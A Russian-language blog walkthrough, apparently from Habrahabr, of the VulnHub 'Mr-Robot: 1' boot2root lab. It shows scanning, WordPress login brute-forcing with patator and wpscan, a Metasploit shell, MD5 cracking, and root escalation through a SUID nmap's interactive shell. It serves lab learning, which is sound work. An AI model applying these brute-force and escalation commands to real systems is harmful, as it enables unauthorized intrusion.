VulnHub: Погружаемся в хакинг в стиле сериала Mr. Robot

714143a9780a4819abd7b7ecadb11fef.png

Я думаю многие смотрели сериал Mr. Robot, с каждым сезоном, о нем узнаёт всё больше народу, вот и VulnHub не остался в стороне. И не так уж давно там появилась Boot2Root виртуальная машина Mr-Robot: 1. Её решение, мы сегодня и рассмотрим.

Реверса тут не будет, но будет несколько примеров демонстрирующих, то как из-за не верного назначения прав на критически важные файлы, ваша система может быть взломана. И так, начнём, нужно добыть 3 ключа.

Ключ 1


Получаем список портов, уже известным нам способом:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV

80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd

Далее запустим robotscan, который мы уже применяли в одной из статей:
$ ./robotscan.py -u 'http://192.168.1.29' -e txt,php -w /usr/share/dirb/wordlists/big.txt -x 403

15e7f8900fe946b09ce339b6e3cb8c3f.png

Первый ключ:

$ curl http://192.168.1.29/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9

Ключ 2


Как вы заметили, там есть ещё 1 не типичный для WordPress файл: fsocity.dic. Как выяснилось, это уже готовый словарь для брута. Осталось удалить из него дубликаты:
$ sort -u fsocity.dic > fsocity_sort.dic

WPScan отказался искать доступных пользователей, поэтому придется это делать другим способом:
P.S. WPScan проверяет URL вида: target_url/? author=$id
В то время, как по умолчанию, при авторизации, скрипт wp-login.php возвращает «Invalid username» в случае если пользователь не найден, и «The password you entered for the username $username is incorrect»

$ sudo patator http_fuzz url=http://192.168.1.29/wp-login.php method=POST body='log=FILE0&pwd=nn&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.29%2Fwp-admin%2F&testcookie=1' follow=1 accept_cookie=1 0=./fsocity_sort.dic -x ignore:fgrep='Invalid username'

И спустя некоторое время получаем вывод:
22:28:26 patator INFO — 200 4093:3643 0.262 | Elliot | 5474 | HTTP/1.1 200 OK
22:28:26 patator INFO — 200 4093:3643 0.276 | elliot | 5473 | HTTP/1.1 200 OK
22:28:27 patator INFO — 200 4093:3643 0.235 | ELLIOT | 5475 | HTTP/1.1 200 OK

Логин есть, осталось подобрать пароль. В качестве словаря, воспользуемся тем же файлом:
$ sudo ./wpscan.rb --url 192.168.1.29 --threads 50 --wordlist ./fsocity_sort.dic --username elliot

efc184fe93eb464899413292199487a1.png

Прокинем себе шелл через Metasploit:

7e9c795ad95d48589eee0d45865ab0a0.png

Первым делом изучаем содержимое директории с пользователями:

ebbd4121751143e2902fb61ed672fbe2.png

Ключ здесь, но нужны креды пользователя robot. Открыв второй доступный файл, находим нужную нам информацию:

$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Осталось расшифровать MD5 на ближайшем онлайн сервисе: abcdefghijklmnopqrstuvwxyz.

Логинимся в виртуалке и получаем второй ключ:

dce928d008044e8aaa7218efbe811b2f.png

Ключ 3


Третий ключ вероятно расположен у пользователя root. Посмотрим доступные SUID приложения:
$ find / -perm -4000 2>/dev/null

a6d113bd8d92419d97db3e40409bd357.png

Ничего не обычного, кроме nmap'а. После запуска без параметров, получаем справку, и потенциальную уязвимость:

b21085e3a11b4062ae86a1b79c6c7e5f.png

Как сказал бы MrRobot:

Взломать их было легко, они использовали старую версию nmap'а с поддержкой интерактивного режима, и не верно выставленные права, так что я с легкостью получил root доступ

$ nmap --interactive

0e7ace14b5174b1384d7da37e7fcde5a.png

Из интерактивного режима запускаем командную оболочку ! sh, и забираем последний ключ:

4d0c9515cb5f40189b55d54441d51c22.png

Вот и всё. Очередное подтверждение тому, как не верное разграничение прав, приводит к компрометации системы!

Комментарии (0)

© Habrahabr.ru